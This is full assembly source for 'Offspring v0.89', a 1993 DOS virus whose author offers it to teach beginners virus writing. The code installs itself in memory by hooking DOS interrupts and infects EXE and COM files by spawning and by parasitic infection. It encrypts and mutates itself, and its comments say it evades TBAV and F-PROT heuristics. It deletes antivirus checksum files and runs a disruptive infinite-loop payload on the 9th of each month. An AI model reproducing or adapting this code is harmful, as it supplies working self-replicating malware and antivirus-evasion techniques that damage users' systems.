;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ************************************************
;     OFFSPRING v0.89 - BY VIROGEN - 10-03-93
; ************************************************
;  - Compatible with : TASM /m2
;
;
; .. Welcome to another virogen viral creation! I'm supplying this source
; code so hopefully beginners in the art of virus writing can learn something
; from it.  Please don't hack up this code and put your name on it.. thank
; ya, thank ya very much!   Oh yea, one more thing.. say whoever gave Mcafee
; a real OLD version of this virus, just keep giving him that same one eh?
;
;  TYPE : Parastic & Spawning Resident Encrypting (PSRhA)
;
;
;  VERSION : 0.89
;            - No longer detectable by TBAV heuristics.
;            - No longer detectable by FPROT heuristics.
;            - Infects on dir and drive change when no program running.
;              deletes ANTI-VIR.DAT and CHKLST.* files at the same time.
;            - finally went through and somewhat cleaned up the messy code
;              at least a little bit.
;            - mutation is improved
;
;
	    title   offspring_1
cseg	    segment
	    assume  cs: cseg, ds: cseg, ss: cseg, es: cseg

signal	    equ	    7dh			    ; Installation check
reply	    equ	    0fch		    ; reply to check

max_inf     equ     05                      ; Maximum files to infect per run
max_rotation equ    9                       ; number of bytes in switch byte table
parastic    equ	    01			    ; Parastic infection
spawn	    equ	    00			    ; Spawning infection

	    org	    100h		    ; Leave room for PSP

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
; Start of viral code
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

start:

new_code    db      0B8h                    ; MOV NN,xxxx
            dw      main                    ; main
push_reg    db      50h                     ; PUSH NN
            db      0C3h                    ; RET - jump to NN
            db      0E9h                    ; id byte - not code
trick_jmp   db      0E9h                    ; fake jump - f00l tbav
            dw      5999                    ; random number 0-5999

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
; Encryption/Decryption
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
_enc:
            di_op   db 0bfh                 ; MOV DI|SI,XXXX
            mov_di  dw offset enc_data     ; Point to byte after encryption num
encrypt:
cx_m        db      90h,0b9h                ; MOV CX
b_wr        dw      (offset vend-offset enc_data)/2
xor_loop:
xor_op:     xor word ptr [di],0666h ; Xor each word - number changes accordingly
fill_space: inc ax                  ; This is filled with INC XX's
            inc ax                  ; kill F-PROT heuristic detection
            inc ax                  ;
            inc ax                  ;
            inc ax                  ;
            inc ax                  ;
            inc ax                  ;
            inc ax                  ;
            inc ax                  ;
            inc ax                  ;
            inc ax                  ;
            inc ax                  ;
            inc ax                  ;
            inc ax                  ;
            inc ax                  ;
            inc ax                  ;
            inc ax                  ;
            inc ax                  ;
            inc ax                  ;
            inc ax                  ;
            inc ax                  ;
            inc ax                  ;
            inc ax                  ;
            inc ax                  ;
            inc ax                  ;
            inc ax                  ;
 sw_byte3:                        ; INC SI|DI changes position in these bytes
            inc     di                      ; INC SI|DI
            inc     ax                      ; INC xx
            inc     ax                      ; INC xx
sw_byte4:
            inc     di                      ; INC SI|DI
            inc     ax                      ; INC xx
            inc     ax                      ; INX xx
            loop    xor_loop                ; loop while cx != 0

ret_byte    db     90h                      ; Changes to RET (0C3h) - then back to NOP

enc_data:   	    			    ; Start of encrypted data

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;  Non-Resident portion of virus
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
main	    proc

            db      0bdh                    ; MOV BP,xxxx - Load delta offset
set_bp:     dw      0000

	    mov	    ax,ds: 002ch	    ; Get environment address
            mov     par_blk[bp],ax          ; Save in parameter block for exec

            mov     par1[bp],cs             ; Save segments for spawn
            mov     par2[bp],cs
            mov     par_seg[bp],cs

	    mov	    ah,2ah		    ; Get date
	    int	    21h

	    cmp	    dl,9		    ; 9th?
            jne     no_display

 show_myself:
            mov     ah,09                   ; display virus name
            lea     dx,v_id[bp]
	    int	    21h

	    xor	    ax,ax		    ; seg 0
	    mov	    es,ax
	    mov	    dx,1010101010101010b    ; lights
 chg_lights:                                ; Infinite loop to change keyboard
	    mov	    word ptr es: [416h],dx  ; 0040:0016h = keyb flags
	    ror	    dx,1		    ; rotate bits
	    mov	    cx,0101h		    ; scan code/ascii
	    mov	    ah,05h		    ; push a beep onto keyb buf
	    int	    16h
	    mov	    ah,10h		    ; Read key back so we don't fill
	    int	    16h			    ; up the keyboard buffer
	    int	    5h			    ; Print-Screen
	    mov	    ax,0a07h		    ; Write BEEP to screen
	    xor	    bh,bh
	    mov	    cx,1
	    int	    10h
	    mov	    ah,86h		    ; Delay
	    mov	    cx,0002h
	    int	    15h

	    jmp	    chg_lights

 no_display:

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; INSTALL - Install the virus in memory

            mov     ah,signal              ; is virus already in mem?
            int     21h
            cmp     ah,reply               ;
            jne     cont_i                 ; nope.. continue
            jmp     no_install             ; yes.. don't install again
 cont_i:

            mov     ax,cs
            dec     ax
            mov     ds,ax
            cmp     byte ptr ds: [0],'Z'    ;Is this the last MCB in
                                            ;the chain?
            je      cont_i2
            jmp     no_install
 cont_i2:


            mov     ax,ds: [3]              ;Block size in MCB
            sub     ax,230                  ;Shrink Block Size-quick estimate
            mov     ds: [3],ax

            mov     bx,ax
            mov     ax,es
            add     ax,bx
            mov     es,ax                   ;Find high memory seg

            mov     si,bp
            add     si,0100h
            mov     cx,(offset vend - offset start)
            mov     ax,ds
            inc     ax
            mov     ds,ax
            mov     di,100h                 ; New location in high memory
            cld
            rep     movsb                   ; Copy virus to high memory

            push    es
            pop     ds
            xor     ax,ax
            mov     es,ax                   ; null es
            mov     ax,es: [21h*4+2]        ; store old int addresses
            mov     bx,es: [21h*4]
            mov     ds: old21_seg,ax
            mov     ds: old21_ofs,bx
            mov     ax, es: [20h*4+2]
            mov     bx, es:[20h*4]
            mov     ds: old_20_seg,ax
            mov     ds: old_20_ofs,bx
            mov     ax, es:[27h*4+2]
            mov     bx, es:[27h*4]
            mov     ds: old_27_seg,ax
            mov     ds: old_27_ofs,bx

            cli                             ; disable interrrupts

            mov     es: [21h*4+2],ds        ; Set new addresses
            lea     ax, new21
            mov     es: [21h*4],ax

            mov     es: [20h*4+2],ds
            lea     ax, new20
            mov     es: [20h*4],ax

            mov     es: [27h*4+2],ds
            lea     ax, new27
            mov     es: [27h*4],ax

            sti                             ; re-enable interrupts

 no_install:
            push    cs                      ; Restore segment regs
            pop     ds
            push    cs
            pop     es

            cmp     byte ptr vtype[bp],parastic ; parastic infection?
            je      com_return              ; yes, return to start of COM

            mov     bx,(offset vend+50)     ; Calculate memory needed
	    mov	    cl,4		    ; divide by 16
            shr     bx,cl
            inc     bx
            mov     ah,4ah
	    int	    21h			    ; Release un-needed memory

	    lea	    dx,file_dir-1[bp]	    ; Execute the original EXE
	    lea	    bx,par_blk[bp]
            mov     ch,0FBh                 ; tell mem. resident virus
            mov     ax,4b00h                ; that it's us.
	    int	    21h

	    mov	    ah,4ch		    ; Exit
	    int	    21h

 com_return:

            inc    dir_infect

            mov     si,bp                   ;
            mov     cx,7                    ; Restore original first
            add     si,offset org_bytes     ; seven bytes of COM file
            mov     di,0100h                ;
            cld                             ;
            rep     movsb                   ;

            mov     ax,0100h                ; Jump back to 100h - start of
            push    ax                      ; original program
            ret                             ;

main	    endp


;************************************************************************
; Interrupt handlers
;************************************************************************
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; INT 27h  - terminate stay resident
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
new27    proc
         dec byte ptr cs:[dir_infect]   ; decrement running counter
         db 0EAh                        ; Jump to original offset, seg
    old_27_ofs dw 0
    old_27_seg dw 0
 new27    endp

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
; INT 20h  - terminate process
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
new20     proc
          dec byte ptr cs:[dir_infect]  ; decrement running counter
          db 0EAh                       ; Jump to original offset, seg
    old_20_ofs  dw   0
    old_20_seg  dw   0
new20       endp
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; INT 24h - Critical Error Handler
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
eh        proc
          mov al,3              ; fail call
          iret                  ; interrupt return
eh        endp
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; INT 21h - DOS function calls
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

new21	    proc    			    ; New INT 21H handler

	    cmp	    ah, signal		    ; signaling us?
	    jne	    no
	    mov	    ah,reply		    ; yep, give our offspring what he wants
	    jmp	    end_21
 no:
            cmp     ax,4b00h                ; exec func?
            jne     check_other
            inc     byte ptr cs:[dir_infect]
            jmp     exec_func

 check_other:
            cmp     ah,3Bh                  ; change directory?
            je      kill_func               ; yes, kill CHKLIST.* files
            cmp     ah,0Eh                  ; change drive?
            je      kill_func               ; yes, kill CHKLIST.* files
            cmp     ah,4ch                  ; terminate process?
            je      dec_counter             ; yes, decrement running counter
            cmp     ah,31h                  ; tsr?
            je      dec_counter             ; yes, decrement running counter
            cmp     ah,00h                  ; terminate process?
            je      dec_counter             ; yes, decrement running counter

            jmp     end_21                  ; return to original INT 21h

  kill_func:
            mov byte ptr cs:[kill_now],1    ; remember it's time to kill CRC
  exec_func:
            cmp     ch,0FBh                 ; Is our virus executing this prog?
            je      end_21                  ; yes, return to orginal INT 21h
  run_res:
            pushf                           ; Push flags
            push    ax                      ; Push regs
	    push    bx
	    push    cx
	    push    dx
	    push    di
            push    si
            push    bp
	    push    ds
	    push    es
	    push    sp
	    push    ss

            push    cs                      ; ds=cs
	    pop	    ds

            
            xor     ax,ax                   ; nullify ES
	    mov	    es,ax


            cmp     byte ptr add_mem,1      ; Restore system conventional mem size?
            je      rel_mem                 ; yes, back to 640k
            cmp     ah,48h                  ; alloc. mem block? If so we subtract 4k from
	    je	    set_mem		    ; total system memory.

            jmp     no_mem_func             ; don't f00l with memory now

  set_mem:
            sub     word ptr es: [413h],4   ; Subtract 4k from total sys mem
	    inc	    byte ptr add_mem	    ; make sure we know to add this back
	    jmp	    no_mem_func
  rel_mem:
            add     word ptr es: [413h],4   ; Add 4k to total sys mem
            dec     byte ptr add_mem


  no_mem_func:
            mov     ah,2fh                  ; Get DTA Address
            int     21h                     ;

            mov     ax,es                   ; Save it so we can restore it
            mov     word ptr old_dta,bx
            mov     word ptr old_dta+2,ax
            push    cs                      ; es=cs
            pop     es

	    call    resident		    ; Call infection kernal

            mov     dx,word ptr old_dta     ; restore DTA
            mov     ax,word ptr old_dta+2   ;
            mov     ds,ax                   ;
            mov     ah,1ah                  ;
            int     21h                     ;

            pop     ss                      ; Pop regs
	    pop	    sp
	    pop	    es
	    pop	    ds
	    pop	    bp
            pop     si
            pop     di
	    pop	    dx
	    pop	    cx
	    pop	    bx
	    pop	    ax
            popf                            ; Pop flags
 end_21  :
	    db	    0eah		    ; jump to original int 21h
old21_ofs   dw	    0			    ; Offset of old INT 21H
old21_seg   dw	    0			    ; Seg of old INT 21h

dec_counter:
            dec   byte ptr cs:[dir_infect]  ; decrement running counter
            jmp   end_21

new21       endp                            ; End of handler

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Clear ff/fn buf
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
clear_buf   proc
            mov     word ptr fcb,0         ; Clear ff/fn buffer
            lea     si, fcb
            lea     di, fcb+2
            mov     cx, 22
            cld
            rep     movsw
            ret
clear_buf   endp

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Resident - This is called from out INT 21h handler
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
resident    proc

            xor     ax,ax                       ; es=segment 0
            mov     es,ax                       ; ..
            mov     ax,es:[24h*4+2]             ; get segment of INT 24h
            mov     bx,es:[24h*4]               ; get offset of INT 24h
            mov     old_eh_seg,ax               ; save segment
            mov     old_eh_off,bx               ; save offset
            cli                                 ; turn off interrupts
            mov     es:[24h*4+2],ds             ; set segment to our handler
            lea     ax,eh                       ;
            mov     es:[24h*4],ax               ; set offset to our handler
            sti

            push ds                             ; es=ds
            pop  es

                                                ; Set DTA address - This is for the                                                Findfirst/Findnext INT 21H functions
            mov     ah, 1ah
            lea     dx, fcb
            int     21h

            mov     byte ptr vtype,spawn       ; infection type = spawning
            mov     word ptr set_bp,0000       ; BP=0000 on load
            mov     byte ptr inf_count,0       ; null infection count
            mov     fname_off, offset fname1   ; Set search for *.EXE
            mov     word ptr mov_di,offset enc_data ; offset past encrypt.


            cmp byte ptr kill_now, 1    ; change dir, or change drive func?
            jne     no_kill             ; nope.. forget this shit
            cmp     dir_infect,0        ; are we running a program right now?
            je      cont_res            ; nope.. keep going
            jmp     fd2                 ; yes.. don't infect this time
 cont_res:
       ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
       ; KIll chklist.* (MSAV,CPAV) and anti-vir.dat (TBAV) files
       ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
           
            mov     chk_spec_addr, offset chk_spec  ; kill CHKLIST.* first
            xor     cx,cx                ; keep track of which we've killed
 kill_another_spec:
            push    cx

            call    clear_buf            ; clear FCB

            mov     ah, 4eh             ; Findfirst
            xor     cx, cx              ; Set normal file attribute search
            mov     dx, chk_spec_addr
            int     21h

            jc      done_kill           ; none found.. done
 kill_loop:
            mov     ax,4301h            ; Set file attributes to null
            xor     cx,cx               ;
            lea     dx,f_name           ;
            int     21h                 ;

            mov     ah,3ch              ; create file = nullify size
            xor     cx,cx               ;
            lea     dx,f_name           ;
            int     21h                 ;

            push    ax                  ; get handle
            pop     bx                  ;

            mov     ah,3eh              ; close file
            int     21h                 ;

            mov     ah,41h              ; delete the file to finish 'er off
            lea     dx,f_name           ;
            int     21h                 ;

             mov     ah,4fh             ; find next file
             int     21h                ;
             jnc     kill_loop          ; if more then kill 'em

 done_kill:
             pop   cx                   ; restore spec counter
             inc   cx                   ; increment spec counter
             mov   chk_spec_addr,offset chk_spec2 ; new file spec to kill
             cmp   cx,2                 ; have we already killed both?
             jne   kill_another_spec    ; nope.. kell 'em

 no_kill:
            mov     kill_now,0          ; we killed them this time
          ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

 find_first:
            call    clear_buf            ; clear FCB again

            mov     ah, 4eh              ; Findfirst
            xor     cx, cx               ; Set normal file attribute search
            mov     dx, fname_off
	    int	    21h

            jnc     next_loop            ; if still finding files then loop
            jmp     end_prog             ; if not.. then end this infection

 next_loop :
            cmp     byte ptr vtype, parastic ; parastic infection?
            je      start_inf                ; yes, skip all this

            mov     ah,47h                   ; get directory for
            xor     dl,dl                    ; ..spawning infections
            lea     si,file_dir              ;
            int     21h                      ;

           cmp     word ptr f_sizel,0 ; Make sure file isn't 64k+
           je      ok_find                   ; for spawning infections
           jmp     find_file

 ok_find:
            xor     bx,bx                    ;
            lm3     :                        ; find end of directory name
            inc     bx                       ;
	    cmp	    file_dir[bx],0
	    jne	    lm3

	    mov	    file_dir[bx],'\'	    ; append backslash to path
	    inc	    bx

	    mov	    cx,13		    ; append filename to path
            lea     si,f_name
	    lea	    di,file_dir[bx]
	    cld
	    rep	    movsb

            xor     bx,bx
 loop_me:                                   ; search for filename ext.
	    inc	    bx
            cmp     byte ptr fcb+1eh [bx], '.'
	    jne	    loop_me

	    inc	    bx			    ; change it to COM
            mov     word ptr fcb+1eh [bx],'OC'
            mov     byte ptr fcb+1eh [bx+2],'M'


 start_inf:

            ;ÄÄÄÄÄÄÄÄÄÄ
            ; Change jump & fill space register
            ;ÄÄÄÄÄÄÄÄÄÄ
            cmp     byte ptr new_code, 0BFh
            jne     inc_jmp
            mov     byte ptr new_code, 0B7h
            mov     byte ptr push_reg, 04Fh
            mov     nop_sub, 3Fh
inc_jmp:
            inc     byte ptr new_code      ; incrment register
            inc     byte ptr push_reg      ; increment register
            mov     dh,nop_sub             ; get old register to inc/dec
            mov     old_nop_sub,dh         ; save it.. to be used later
            inc     nop_sub                ; increment register
            jmp     ok_jmp_changed
 ok_jmp_changed:

            cmp     byte ptr vtype, parastic ; parastic infection?
	    je	    parastic_inf	    ; yes.. so jump

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
; Spawning infection

            mov     word ptr new_code+1,offset _enc

            lea     dx,f_name
            mov     cx, 02h              ; read-only
            or      cx, 01h              ; hidden
            mov     ah, 3ch              ; Create file
            int     21h                  ; Call INT 21H
            jnc     contin               ; If Error-probably already infected
            jmp     no_infect
 contin:
	    inc	    inf_count
	    mov	    bx,ax

	    jmp	    encrypt_ops
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
; Parastic infection

 parastic_inf :

            lea     si,f_name          ; Is Command.COM?
	    lea	    di,com_name
	    mov	    cx,11
	    cld
	    repe    cmpsb

	    jne	    cont_inf0		    ; Yes, don't infect
            jmp     no_infect

 cont_inf0:

            mov     ax,3d02h               ; Open file for reading & writing
            lea     dx,f_name              ; Filename in FF/FN buffer
	    int	    21h

            jnc     cont_inf1              ; error, skip infection
	    jmp	    no_infect

 cont_inf1:


           mov     bx,ax                   ; get handle

            mov     ah,3fh                  ; Read first bytes of file
            mov     cx,07
            lea     dx,org_bytes
            int     21h

            cmp     byte ptr org_bytes+6,0E9h ; already infected?
            jne     cont_inf                ; nope let's infect this sucker

            mov     ah,3eh
            int     21h
            jmp     no_infect

 cont_inf:
            inc     inf_count
	    mov	    ax,4202h		    ; Set pointer to end of file, so we
	    xor	    cx,cx		    ; can find the file size
	    xor	    dx,dx
	    int	    21h

	    mov	    word ptr set_bp,ax	    ; Change the MOV BP inst.
            add     ax, offset enc_data
	    mov	    word ptr mov_di,ax	    ; chg mov di,xxxx

            mov     ax,4200h                ; set file pointer to beginning
	    xor	    cx,cx
	    xor	    dx,dx
	    int	    21h

            mov     ax,word ptr f_sizeh      ; save new address for parastic
            add     ax,offset _enc           ;
            mov     word ptr new_code+1,ax   ;

            mov     ah,40h                   ; write new first 7 bytes
            mov     cx,7                     ; .. jumps to virus code
            lea     dx,new_code              ;
            int     21h                      ;

            mov     ax,4202h                 ; Set file pointer to end of file
            xor     cx,cx                    ;
            xor     dx,dx                    ;
	    int	    21h

encrypt_ops:

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
; Change encryptions ops

            push    bx                      ; save file handle

            cmp     pad_bytes,50            ; no more increase in file size?
            je      reset_pad               ; if yes, reset
	    inc	    word ptr pad_bytes	    ; Increase file size
            inc     word ptr b_wr           ; make note of the increase
            jmp     pad_ok                  ; don't reset pad
 reset_pad:
            mov     word ptr pad_bytes,0    ; reset pad size
            sub     word ptr b_wr,50        ; make note of decrease

 pad_ok:

	    cmp	    inc_op,47h		    ; change ops from DI to SI
	    jne	    set2
	    dec	    inc_op
	    dec	    byte ptr xor_op+1
	    dec	    di_op
	    dec	    byte ptr enc_addr
	    dec	    byte ptr enc_add+1
	    jmp	    chg_three
 set2:
	    inc	    inc_op
	    inc	    byte ptr xor_op+1
	    inc	    di_op
	    inc	    byte ptr enc_addr
	    inc	    byte ptr enc_add+1

 chg_three:
            mov     dh,byte ptr nop_sub   ; which byte did we use to fill space?
            cmp     dh,48h                ; if INC AX then we need to reset it
            jne     _change               ; else decrement it
            mov     dh,40h                ; reset to DEC AX
 _change:
            cmp     dh,41h                ; Don't use INC CX..
            jne     no_conflict           ;
            mov     dh,48h                ; Change it to DEC AX instead
 no_conflict:
            cmp     dh,47h                ; Don't use INC DI
            jne     no_conflict2          ;
            mov     dh,4Bh                ; Use DEC BX Instead
 no_conflict2:
            cmp     dh,44h                ; Don't use INC SP
            jne     no_conflict3          ;
            mov     dh,4Dh                ; Use DEC BP Instead
 no_conflict3:
            cmp     dh,46h                ; Don't use INC SI
            jne     no_conflict4
            mov     dh,0FBh               ; Use STI instead
 no_conflict4:
            mov     dl,dh                 ; mov into word reg dx

            mov     cx,16                 ; 32 bytes
            lea     si,fill_space         ; beginning of null space
 fill_loop:
            mov     [si],dx               ; fill null bytes with same op
            inc     si                    ;
            inc     si                    ;
            loop fill_loop                ;

            xor     cx,cx                 ; keep track of which we're changing
            lea     di,sw_byte3           ; change the first INC location
  change_pos_ag:
            inc     cx                    ; make note
            cmp     change_num,3          ; last position?
            jne     cont_change           ; nope.. go ahead
            mov     change_num,0          ; else.. reset it
  cont_change:
            add     di,change_num         ; location to put INC
            mov     ah,inc_op             ; INC DI|SI
            mov     byte ptr [di],ah      ; write new INC SI|DI

            lea     di,sw_byte4           ; now change second INC SI|DI
            cmp     cx,2                  ; did we already change both?
            jne     change_pos_ag         ; no, change the second
            inc     change_num            ; increment position

            mov     ah,dir_infect         ; save dir_infect
            push    ax                    ;
            mov     dir_infect,1          ; and reset it to 1
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
; Get random XOR number, save it, copy virus, encrypt code

 d2:

            mov     ah,2ch              ;
            int     21h                 ; Get random number from clock - sec/ms

	    mov	    word ptr xor_op+2,dx    ; save encryption #
            mov     word ptr trick_jmp+1,dx ; put same number in fake jump

	    mov	    si,0100h
            lea     di,vend+50              ; destination
	    mov	    cx,offset vend-100h	    ; bytes to move
	    cld
	    rep	    movsb		    ; copy virus outside of code

 enc_addr:
	    mov	    di,offset vend
 enc_add:
            add     di,offset enc_data-100h+50 ; offset of new copy of virus

 go_enc:
            mov     byte ptr ret_byte,0c3h  ; make encryption routine RET
            call    encrypt                 ; encrypt new copy of virus
            mov     byte ptr ret_byte,90h   ; Reset it to no RETurn

            pop    ax                       ; restore dir_infect
            mov    dir_infect,ah
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
; Write and close new infected file

	    pop	    bx
	    mov	    cx, offset vend-100h    ; # of bytes to write
	    add	    cx, pad_bytes
            lea     dx, vend+50             ; Offset of buffer
	    mov	    ah, 40h		    ; -- our program in memory
	    int	    21h			    ; Call INT 21H function 40h

	    mov	    ax,5701h		    ; Restore data/time
            mov     cx,word ptr f_time
            mov     dx,word ptr f_date
	    int	    21h


 close:
            mov     ah, 3eh                 ; close file
	    int	    21h


 no_infect:
 find_file:

            cmp     inf_count, max_inf   ; Max files found?
            je      end_prog             ; yes, end infection
            mov     ah,4fh               ; Find next file
	    int	    21h
            jc      end_prog             ; if no files found.. quit
            jmp     next_loop            ; infect the next file


 end_prog:
 exit    :
            cmp     inf_count,0             ; Start parastic infection on next run
            jne     find_done               ; nope.. we're done
            cmp     byte ptr vtype, parastic ; Parastic infection done?
            je      find_done                ; yep, exit already
	    mov	    fname_off, offset fname2 ; Point to new filespec
	    mov	    byte ptr vtype, parastic ; virus type = parastic
            jmp     find_first               ; do it again for parastic


 find_done:
 fd2:
            xor    ax,ax
            mov    es,ax                ; es = 0
            cli                         ; interrupts off
            mov     ax,old_eh_seg       ; get old int 24h segment
            mov     bx,old_eh_off       ; get old int 24h offset
            mov     es:[24h*4+2],ax     ; restore int 24h segment
            mov     es:[24h*4],bx       ; restore int 24h offsetn
            sti                         ; interrupts on
            ret                         ; return
resident    endp




vtype	    db	    spawn		    ; Infection type
com_name    db	    'COMMAND.COM'	    ; obvious
org_bytes   db      7 dup(0)                ; original first seven bytes of parastic inf.
pad_bytes   dw      0                       ; Increase in virus size
add_mem	    db	    0			    ; Add memory back?
inc_op      db      47h                     ; INC DI (47h) or INC SI (46h)
nop_sub     db      40h                     ; fill byte
copyr       db      28h,63h,29h,20h,0FBh,69h,72h,6Fh,67h,65h,6Eh
v_id        db      0ah,0dh,'OŸŸspring Virus V0.89','$'
kill_now    db      0                       ; no program running? dir/disk call?
chk_spec    db      'CHKLIST.*',0           ; MS/CPAV Checksom kill
chk_spec2   db      'ANTI-VIR.DAT',0        ; TBAV Checksum kill
fname1      db      '*.EXE',0               ; Filespec
fname2	    db	    '*.COM',0		    ; Filespec
change_num  dw      0                       ; keep track of position of INC DI|SI
times_inc   db      0                       ; # of times encryption call incremented
sl	    db	    '\'			    ; Backslash for directory name
file_dir    db	    64 dup(0)		    ; directory of file we infected
file_name   db	    13 dup(0)		    ; filename of file we infected

par_blk	    dw	    0			    ; command line count byte   -psp
par_cmd	    dw	    0080h		    ; Point to the command line -psp
par_seg	    dw	    0			    ; seg
	    dw	    05ch		    ; Use default FCB's in psp to save space
par1	    dw	    0			    ;        
	    dw	    06ch		    ; FCB #2
par2	    dw	    0			    ;

dir_infect  db      0

vend:                                       ; End of virus

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; heap - not written to disk
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
chk_spec_addr dw    chk_spec                ; delete file spec
fname_off   dw      fname1                  ; Offset of Filespec to use
old_nop_sub db      0
old_dta     dd      0                       ; Old DTA Segment:Address
old_eh_seg  dw      0                       ; old error handler (int 24h) seg
old_eh_off  dw      0                       ; old error handler (int 24h) ofs
inf_count   db      0                       ; How many files we have infected this run
fcb         db      21 dup(0)               ; fcb
  attrib    db      0                        ; file attribute
  f_time    dw      0                        ; file time
  f_date    dw      0                        ; file date
  f_sizeh   dw      0                        ; file size
  f_sizel   dw      0                        ;
  f_name    db      13 dup(0)                ; file name


cseg        ends
	    end	    start
